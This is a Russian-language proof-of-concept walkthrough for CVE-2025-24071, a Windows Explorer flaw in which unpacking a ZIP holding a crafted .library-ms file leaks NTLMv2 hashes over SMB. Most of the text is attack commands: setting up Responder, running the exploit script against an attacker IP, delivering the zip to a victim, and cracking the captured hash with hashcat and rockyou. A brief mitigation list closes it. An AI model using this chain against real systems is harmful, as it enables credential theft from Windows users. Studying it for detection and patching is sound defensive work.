CVE-2025-24071-POC-NTLMHashDisclosure

• Запускает автоматическую SMB-аутентификацию на контролируемую злоумышленником общую папку.
• Не требуется взаимодействия — Windows Explorer инициирует эту NTLM-аутентификацию автоматически.
• Приводит к утечке NTLMv2-хеша (раскрытие информации).
• Затрагивает все версии Windows 10/11, особенно 11 23H2.

Настройка окружения атакующего

sudo apt update && sudo apt install responder -y

Запустите Responder

sudo responder -I eth0

Запуск эксплойта

Установите необходимый модуль Python

pip install colorama python3 CVE-2025-24071.py -i <attacker_ip> -n testpayload -o ./output --keep

Будут созданы: testpayload.library-ms testpayload.zip

Тест на машине жертвы

Перенесите testpayload.zip на тестовую машину Windows 11. Распакуйте ZIP-архив с помощью проводника Windows. Это заставит Windows попытаться обратиться к SMB-пути, что приведёт к утечке NTLM-хеша.

Захват хеша

responder -I etho0

Подготовка файла с хешем

Создайте файл hash.txt

victim::DOMAIN:1122334455667788:11223344556677889900aabbccddeeff:01010000000000000090d5d00f3

Выбор словаря

чаще всего rockyou.txt

Запуск Hashcat

hashcat -m 5600 -a 0 -o cracked.txt hash.txt /usr/share/wordlists/rockyou.txt

Смягчение последствий

• Заблокировать исходящий SMB (TCP 445) на межсетевых экранах.
• Отключить автоматическую аутентификацию на ненадёжные SMB-ресурсы (через групповую политику).
• Мониторить извлечение файлов .library-ms и SMB-подключения.